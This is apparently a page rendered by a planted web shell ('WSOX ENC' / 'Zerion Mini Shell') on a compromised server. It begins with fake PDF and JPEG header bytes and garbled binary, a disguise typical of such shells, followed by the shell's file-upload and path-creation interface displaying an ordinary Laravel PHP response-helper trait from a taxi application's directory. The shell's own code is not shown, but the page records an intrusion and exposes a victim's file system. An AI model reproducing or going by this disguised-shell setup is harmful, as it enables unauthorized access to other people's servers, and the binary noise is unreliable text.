%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi/app/Helpers/Response/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi/app/Helpers/Response/ResponseHelpers.php

<?php

namespace App\Helpers\Response;

use Illuminate\Http\Response;
use Illuminate\Support\MessageBag;
use Illuminate\Contracts\Support\Arrayable;
use Spatie\Fractal\Fractal;

trait ResponseHelpers
{
    /**
     * Success status of the response.
     *
     * @var bool
     */
    protected $success = false;

    /**
     * Respond with http ok.
     * Status code = 200
     *
     * @param bool $success
     * @param mixed|null $data
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondOk($data = null, $success = true, $message = null)
    {
        $this->success = $success;

        return $this->respond($data, $message, Response::HTTP_OK);
    }

    /**
     * Respond with success.
     * Status code = 200
     *
     * @param mixed|null $data
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondSuccess($data = null, $message = 'success')
    {
        $this->success = true;

        return $this->respond($data, $message, Response::HTTP_OK);
    }

    /**
     * Respond with created.
     * Status code = 201
     *
     * @param mixed $data
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondCreated($data = null, $message = 'created')
    {
        $this->success = true;

        return $this->respond($data, $message, Response::HTTP_CREATED);
    }

    /**
     * Respond with no content.
     * Status code = 204
     *
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondNoContent()
    {
        $this->success = true;

        return $this->respond(null, null, Response::HTTP_NO_CONTENT);
    }

    /**
     * Respond with failed.
     * Status code = 200
     *
     * @param string $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondFailed($message = 'failed')
    {
        return $this->respondError($message, Response::HTTP_OK);
    }

    /**
     * Respond with bad request.
     * Status code = 400
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondBadRequest($message = null)
    {

        return $this->respondError($message, Response::HTTP_BAD_REQUEST);
    }

    /**
     * Respond with unauthorized.
     * Status code = 401
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondUnauthorized($message = null)
    {
        return $this->respondError($message, Response::HTTP_UNAUTHORIZED);
    }

    /**
     * Respond with forbidden.
     * Status code = 403
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondForbidden($message = null)
    {
        return $this->respondError($message, Response::HTTP_FORBIDDEN);
    }

    /**
     * Respond with not found.
     * Status code = 404
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondNotFound($message = null)
    {
        return $this->respondError($message, Response::HTTP_NOT_FOUND);
    }

    /**
     * Respond with method not allowed.
     * Status code = 405
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondMethodNotAllowed($message = null)
    {
        return $this->respondError($message, Response::HTTP_METHOD_NOT_ALLOWED);
    }

    /**
     * Respond with internal server error.
     * Status code = 500
     *
     * @param string|null $message
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondInternalError($message = null)
    {
        return $this->respondError($message, Response::HTTP_INTERNAL_SERVER_ERROR);
    }

    /**
     * Return an error JSON response with the custom data format.
     *
     * @param string $message
     * @param int $status
     * @param mixed|null $errors
     * @param array $headers
     * @param int $options
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respondError($message, $status, $errors = null, array $headers = [], $options = 0)
    {

        return $this->jsonResponse(
            $this->formatErrorResponseData($message, $status, $errors),
            $status,
            $headers,
            $options
        );
    }

    /**
     * Return a JSON response with the custom data format.
     *
     * @param mixed $data
     * @param string|null $message
     * @param int $status
     * @param array $headers
     * @param int $options
     * @return \Illuminate\Http\JsonResponse
     */
    protected function respond($data, $message = null, $status = Response::HTTP_OK, array $headers = [], $options = 0)
    {
        return $this->jsonResponse(
            $this->formatResponseData($data, $message),
            $status,
            $headers,
            $options
        );
    }

    /**
     * Return a JSON response.
     *
     * @param string|array $data
     * @param int $status
     * @param array $headers
     * @param int $options
     * @return \Illuminate\Http\JsonResponse
     */
    protected function jsonResponse($data = [], $status = Response::HTTP_OK, array $headers = [], $options = 0)
    {
        return response()->json($data, $status, $headers, $options);
    }

    /**
     * Merge the various data into the standard response format.
     *
     * @param mixed $data
     * @param string|null $message
     * @return array
     */
    protected function formatResponseData($data, $message = null)
    {
        $success = $this->success;

        if ($data instanceof Fractal) {
            $data = $data->toArray();
        }

        if (!(is_array($data) && array_key_exists('data', $data))) {
            if ($data instanceof Arrayable) {
                $data = $data->toArray();
            }

            $data = compact('data');
        }

        return array_filter(array_merge(compact('success', 'message'), $data), function ($value) {
            return !is_null($value);
        });
    }

    /**
     * Merge the various data into the standard error response format.
     *
     * @param string $message
     * @param int $status_code
     * @param mixed|null $errors
     * @return array
     */
    private function formatErrorResponseData($message, $status_code, $errors = null)
    {

        $success = $this->success;

        if (!$message && $status_code) {
            $message = Response::$statusTexts[$status_code];
        }

        if ($errors instanceof MessageBag) {
            $errors = $errors->getMessages();
        }
        return array_filter(compact('success', 'message', 'status_code', 'errors'), function ($value) {
            return !is_null($value);
        });
    }
}

Zerion Mini Shell 1.0